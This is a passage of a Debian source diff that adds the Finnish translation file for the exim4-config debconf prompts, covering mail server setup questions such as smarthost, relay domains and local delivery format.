"spool/exim4/input/) eta exim4 bidez kudeatuko dira." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Honek alde batetara bakarrik funtzionatzen du. Exim4-ek exim 3 ilara " +#~ "kudea dezake baina ez alderantziz. Aukera hau ezetsiaz gero mezuak " +#~ "beranduago eskuz mugitu beharko dituzu, bestela ez dira inoiz banatuko " +#~ "eta." diff --git a/debian/po/fi.po b/debian/po/fi.po new file mode 100644 index 0000000..d4b35bc --- /dev/null +++ b/debian/po/fi.po @@ -0,0 +1,939 @@ +# translation of fi.po to Finnish +# translation of exim4-config to Finnish +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-transDevelopers do not need to manually edit POT or PO files. +# Tapio Lehtonen <tale@debian.org>, 2004, 2006. +# +# +msgid "" +msgstr "" +"Project-Id-Version: exim4-config\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-07-03 14:06-0000\n" +"Last-Translator: Esko Arajärvi <edu@iki.fi>\n" +"Language-Team: Finnish <debian-l10n-finnish@lists.debian.org>\n" +"Language: fi\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Poistetaanko jonosta viestit, joita ei ole toimitettu perille?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Exim-ohjelman viestijonossa hakemistossa /var/spool/exim4/input on viestejä, " +"joita ei ole vielä toimitettu perille. Kun Exim poistetaan, niitä ei " +"toimiteta perille ennen kuin Exim asennetaan uudelleen." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Jos tätä ei valita, viestijono säilytetään. Tällöin jonon viestit voidaan " +"toimittaa perille myöhemmin kun Exim on asennettu uudelleen." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Tee tämän paketin sijaan paketin exim4-config asetukset" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4:n asetukset ovat erillisessä asetuspaketissa exim4-config. Exim4:n " +"asetukset voidaan tehdä uudelleen komennolla â€dpkg-reconfigure exim4-configâ€." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "Internetiin kytketty kone; lähetys ja vastaanotto suoraan SMTP:llä" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "lähetys smarthostin kautta; vastaanotto SMTP:llä tai fetchmaililla" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "lähetys smarthostin kautta; ei paikallista sähköpostia" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "vain paikallinen sähköpostien toimitus; ei verkkoyhteyttä" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "asetuksia ei tehdä nyt" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Sähköpostiasetusten perustyyppi:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Valitse sähköpostipalvelimen asetustyypeistä parhaiten tarpeisiin sopiva." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Vaihtuvia IP-osoitteita käyttävät koneet, mukaanlukien soittoyhteyttä " +"käyttävät, tulisi asettaa lähettämään sähköpostinsa toisen koneen " +"(â€smarthostâ€) kautta, koska monet Internetin järjestelmät eivät roskapostin " +"torjumiseksi ota vastaan postia, joka tulee vaihtuvista IP-osoitteista." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Vaihtuvia IP-osoitteita käyttävä järjestelmä voi joko vastaanottaa oman " +"sähköpostinsa tai paikallinen sähköpostin toimitus voidaan ottaa kokonaan " +"pois käytöstä (paitsi tunnuksien root ja postmaster osalta)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Jätetäänkö sähköpostijärjestelmän asetukset todella tekemättä?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Sähköpostijärjestelmä ei ole käytettävissä ennen kuin sen asetukset on " +"tehty. Asetukset voidaan tehdä myöhemmin joko käsin tai antamalla " +"pääkäyttäjänä komento â€dpkg-reconfigure exim4-configâ€." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Järjestelmän postinimi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"Postinimi on verkkoaluenimi, joka lisätään postiosoitteisiin, jos " +"verkkoaluenimi puuttuu." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Tätä nimeä käyttävät myös muut ohjelmat. Sen tulisi olla yksi, täydellinen " +"verkkoaluenimi (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Jos tässä järjestelmässä on esimerkiksi sähköpostiosoite foo@example.org, on " +"tämän asetuksen oikea arvo example.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Tämä nimi ei näy lähtevien sähköpostien From:-riveillä, jos osoitteiden " +"uudelleenkirjoitus on käytössä." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Muut vastaanottajat, joiden posti hyväksytään:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Anna puolipistein eroteltuna verkkoalueet, joiden lopullisena " +"vastaanottajana tämä kone toimii. Näitä verkkoalueita kutsutaan " +"â€paikallisiksi verkkoalueiksiâ€. Paikallinen konenimi (${fqdn}) ja " +"â€localhost†lisätään aina tässä annettuun listaan." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Kaikkia paikallisia verkkoalueita käsitellään oletusarvoisesti samalla " +"tavalla. Jos sekä a.example että b.example ovat paikallisia verkkoalueita, " +"osoitteet tunnus@a.example ja tunnus@b.example toimitetaan samalle " +"vastaanottajalle. Jos eri verkkoaluenimiä halutaan käsitellä eri tavoilla, " +"on asetustiedostoja muokattava jälkeenpäin." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Verkkoalueet, joiden posti välitetään:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Anna puolipistein eroteltuna verkkoalueet, joille tämä kone välittää " +"sähköpostia, esimerkiksi vara-MX:nä tai sähköpostiyhdyskäytävänä. Tämä kone " +"vastaanottaa näille verkkoalueille lähetettyä sähköpostia kaikkialta " +"Internetistä ja toimittaa ne perille paikallisten sääntöjen mukaisesti." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Älä kirjoita tähän paikallisia verkkoalueita. Korvausmerkkejä voidaan " +"käyttää." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Koneet, joille välitetään postia:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Anna puolipistein eroteltuina IP-osoitealueet, joille tämä kone välittää " +"sähköpostia ilman ehtoja, toimien smarthostina." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Käytä standardia muotoa osoite/peite (esim. 194.222.242.0/24 tai " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Jos tämä järjestelmä ei toimi smarthostina millekään muulle koneelle, jätä " +"kenttä tyhjäksi." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Paikallisten käyttäjien näkyvä verkkoaluenimi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Paikallinen sähköpostinimi on valittu piilotettavaksi lähtevässä postissa. " +"Tästä syystä on tarpeen määrittää verkoaluenimi, jota paikallisten " +"käyttäjien lähettämissä viesteissä käytetään verkkoaluenimenä." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Lähtevän postin smarthostin IP-osoite tai konenimi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Anna lähtevän postin smarthostina käytettävän koneen IP-osoite tai konenimi. " +"Jos smarthost hyväksyy tämän koneen sähköpostin vain muuhun porttiin kuin " +"TCP/25, lisää osoitteen loppuun kaksi kaksoispistettä ja portin numero " +"(esimerkiksi smarthost.example::587 tai 192.168.254.254::2525). IPv6-" +"osoitteissa kaksoispisteet on kahdennettava." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Jos smarthost vaatii tunnistautumisen, katso hakemistossa /usr/share/doc/" +"exim4-base olevista Debiania koskevista README-tiedostoista ohjeita SMTP-" +"tunnistautumisen asettamiseen." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Pääkäyttäjän ja postmasterin sähköpostin vastaanottaja:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Järjestelmätunnuksille â€postmasterâ€, â€root†jne. tuleva sähköposti on " +"lähetettävä edelleen järjestelmän ylläpitäjän varsinaiselle " +"käyttäjätunnukselle." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Jos tämä arvo jätetään tyhjäksi, nämä viestit tallennetaan tiedostoon /var/" +"mail/mail, mikä ei ole suositeltavaa." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Huomaa että tunnuksen â€postmaster†sähköposti tulisi yleensä lukea siinä " +"järjestelmässä, johon se on lähetetty, eikä välittää sitä muualle. Näin " +"ollen valitsemiesi käyttäjien (tai ainakin yhden heistä) ei pitäisi ohjata " +"postiaan tämän koneen ulkopuolelle. Osoitteen etuliitteellä â€real-†voidaan " +"pakottaa postin toimitus paikallisesti." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Käyttäjätunnukset tulee kirjoittaa välilyönnein eroteltuina." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-osoitteet, joista kuunnellaan sisääntulevia SMTP-yhteyksiä:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Anna IP-osoitteet puolipistein eroteltuina. Eximin SMTP:tä kuunteleva " +"taustaprosessi kuuntelee kaikkia annettuja IP-osoitteita." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Jos tämä jätetään tyhjäksi, Exim kuuntelee yhteyksiä kaikista käytössä " +"olevista verkkoliitännöistä." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Jos tämä kone ei ota vastaan sähköpostia muilta koneilta, vaan ainoastaan " +"paikallisilta palveluilta, esimerkiksi localhostille puhuvilta " +"sähköpostiohjelmilta (MUA) tai fetchmaililta, on suositeltavaa kieltää " +"ulkoiset yhteydet paikalliseen Exim-taustaohjelmaan. Jos tähän syötetään " +"127.0.0.1, ulkoisia yhteksiä ei voida ottaa, koska asetus poistaa käytöstä " +"julkisten verkkoliitäntöjen kuuntelun." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"Tehdäänkö mahdollisimman vähän DNS-kyselyitä (tarvittaessa avattava " +"soittoyhteys)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Tavallisessa toimintatilassa Exim tekee DNS-kyselyitä käynnistyessään sekä " +"vastaanottaessaan tai toimittaessaan viestejä. Tietoja käytetään lokin " +"kirjoittamiseen. Näin toimimalla asetustiedostoihin tarvitsee määrittää " +"vähemmän arvoja." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Jos tällä koneella ei ole pysyvää yhteyttä nimipalveluun (DNS) (esimerkiksi " +"kun käytetään tarvittaessa avattavaa soittoyhteyttä), tällä saattaa olla ei-" +"toivottuja seurauksia. Esimerkiksi Eximin käynnistys tai postijonon " +"käsittely (vaikka siinä ei olisikaan yhtään viestiä) saattaa aiheuttaa " +"kalliin soittoyhteyden avaamisen." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Tämän valinnan tulisi olla päällä, jos järjestelmä käyttää tarvittaessa " +"avattavaa soittoyhteyttä. Jos Internet-yhteys on päällä koko ajan, tämän " +"valinnan tulisi olla poissa käytöstä." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Sähköpostipalvelimen asetukset" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Jaetaanko asetukset pieniin tiedostoihin?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debianin exim4-paketit voivat käyttää joko â€jakamatonta asetustiedostoaâ€, " +"jolloin asetukset ovat yhdessä suuressa tiedostossa (/etc/exim4/exim4.conf." +"template), tai â€jaettuja asetustiedostojaâ€, jolloin Eximin asetukset " +"muodostetaan noin 50 pienemmästä hakemistossa /etc/exim4/conf.d/ olevasta " +"tiedostosta." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Jakamaton asetustiedosto sopii paremmin isoihin muutoksiin ja on yleisesti " +"ottaen vakaampi. Jaetut asetustiedostot puolestaan tarjoavat mukavan tavan " +"pienten muutosten tekemiseen, mutta ovat helpommin särkyvä järjestelmä ja " +"voivat mennä rikki, jos asetuksia muutetaan huolimattomasti." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Tarkempia tietoja jakamattomista ja jaetuista asetustiedostoista löytyy " +"hakemiston /usr/share/doc/exim4-base Debiania käsittelevistä README-" +"tiedostoista." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Piilotetaanko paikallinen postinimi lähtevässä postissa?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Lähtevien viestien otsikkorivejä voidaan muokata siten, että posti näyttää " +"tulevan joltain muulta koneelta. Jos tämä valitaan, muutetaan riveillä From, " +"Reply-To, Sender ja Return-Path olevat â€${mailname}â€, â€localhost†ja " +"â€${dc_other_hostnames}â€." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox-muoto hakemistossa /var/mail" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-muoto kotihakemistossa" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Paikallisen sähköpostin toimitustapa:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim voi tallentaa paikallisesti välitetyn sähköpostin eri tavoilla. " +"Käytetyimmät tallennustavat ovat mbox ja Maildir. mbox tallentaa koko " +"postikansion hakemistoon /var/mail/ yhteen tiedostoon. Maildir tallentaa " +"jokaisen viestin omaan tiedostoonsa hakemistoon ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Useimmat Debianin sähköpostityökalut oletusarvoisesti odottavat paikallisen " +"toimitustavan olevan mbox." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Siirretäänkö perille toimittamattomat sähköpostit exim(v3):n postijonosta " +#~ "exim4:n postijonoon?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Exim(v3):n (tai exim-tls(v3):n) postijonossa hakemistossa /var/spool/exim/" +#~ "input/ on joitakin perille toimittamattomia viestejä." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Valinta siirtää nämä viestit exim4:n postijonoon (/var/spool/exim4/" +#~ "input/), josta exim4 ne käsittelee." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Muunnos on yksisuuntainen: Exim4 osaa käsitellä exim(v3):n postijonon " +#~ "mutta ei päinvastoin. Viestit pitäisi siirtää vain jos ei ole tarkoitus " +#~ "palata takaisin exim(v3):een. Muussa tapauksessa viestit olisi " +#~ "siirrettävä myöhemmin itse." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Jos tämä luettelo on tyhjä, exim ei kuljeta viestejä paikallisille " +#~ "vastaanottajille." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Huomaa tämän olevan yksisuuntainen tie: exim4 osaa käsitellä exim(v3):n " +#~ "postijonoa, mutta ei toisinpäin. " + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Siirä sähköpostit vain jos et aio palata exim(v3):een. Muussa tapauksessa " +#~ "posteja ei pitäisi siirtää nyt, vaan siirrät ne itse kunhan olet " +#~ "muuttanut asetukset. " + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Jos on lisää, kirjoita ne tähän kaksoispisteellä eroteltuina. Voit jättää " +#~ "tyhjäksi jos ei ole enempää. " + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "Kirjoita ne verkkoalueet joiden posti hyväksytään välitettäväksi." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Näiden verkkoalueiden posti hyväksytään välitettäväksi mistä tahansa " +#~ "Internetistä. Älä kirjoita paikallisia verkkoalueita tähän. " + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Tähän kirjoitettavat verkkoaluenimet olisi eroteltava kaksopispisteellä. " +#~ "Jokerimerkkejä voi käyttää. " + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Koska paikallisen postinimen piilotus on käytössä lähtevälle postille, on " +#~ "määritettävä verkkoaluenimi jota käytetään paikallisten käyttäjien " +#~ "lähtevissä sähköposteissa; tyypillisesti tämä on se kone jossa " +#~ "normaalisti vastaanotat sähköpostit." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Missä käyttäjät lukevat sähköpostinsa?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Kone joka käsittelee tämän koneen lähtevän postin (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Kirjoita sen koneen konenimi johon lähtevä sähköposti lähetetään." + +#~ msgid "" +#~ "Mail for the \"postmaster\", \"root\", and other system accounts is " +#~ "usually redirected to the user account of the actual system " +#~ "administrator. If you leave this value empty, such mail will be saved in /" +#~ "var/mail/mail, which is not recommended. Note that postmaster's mail " +#~ "should be read on the system to which it is directed, rather than being " +#~ "forwarded elsewhere, so (at least one of) the users you choose should not " +#~ "redirect their mail off this machine. Use a \"real-\" prefix to force " +#~ "local delivery." +#~ msgstr "" +#~ "Käyttäjille \"postmaster\", \"root\" tai muu järjestelmätunnus menevä " +#~ "sähköposti on tavallisesti ohjattu menemään järjestelmän pääkäyttäjän " +#~ "tunnukselle. Jos jätät tämän asetuksen tyhjäksi, heidän sähköpostinsa " +#~ "talletetaan tiedostoon /var/mail/mail, mitä ei suositella. Huomaa, että " +#~ "käyttäjän \"postmaster\" sähköposti pitäisi lukea siinä koneessa johon se " +#~ "on osoitettu, eikä ohjata sitä muualle, joten (ainakin yhden) " +#~ "valitsemistasi käyttäjistä ei pitäisi ohjata sähköpostiaan muualle tästä " +#~ "koneesta. Käytä \"real-\" etuliitettä pakottaaksesi sähköpostin " +#~ "toimitettavaksi paikallisesti." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Käytä tätä ominaisuutta jos soittoyhteys avataan tarvittaessa. Muussa " +#~ "tapauksessa ota se pois päältä." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Valitse asetustyypeistä se joka parhaiten sopii tarpeisiisi." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Jos olet epävarma, ei pitäisi jakaa asetuksia erillisiin tiedostoihin." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "muunna itse Exim v3:n itse tehdyistä asetuksista" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Teetkö Exim4:n asetukset itse?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Ilmoitit tehneesi Exim 3:n asetukset itse. Niiden muuttamiseen Exim 4:lle " +#~ "voi käyttää työkalua exim_convert4r4(8) asennuksen jälkeen. Tutki " +#~ "tiedostoja /usr/share/doc/exim4-base/examples/example.conf.gz ja /usr/" +#~ "share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Sähköpostijärjestelmä on rikki eikä sitä voi käyttää ennen kuin asetukset " +#~ "on tehty." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Järjestelmän \"postinimi\" on konenimen osuus sähköpostiosoitteesta, joka " +#~ "näkyy lähtevissä nyysseissä ja sähköposteissa (käyttäjänimen ja @-merkin " +#~ 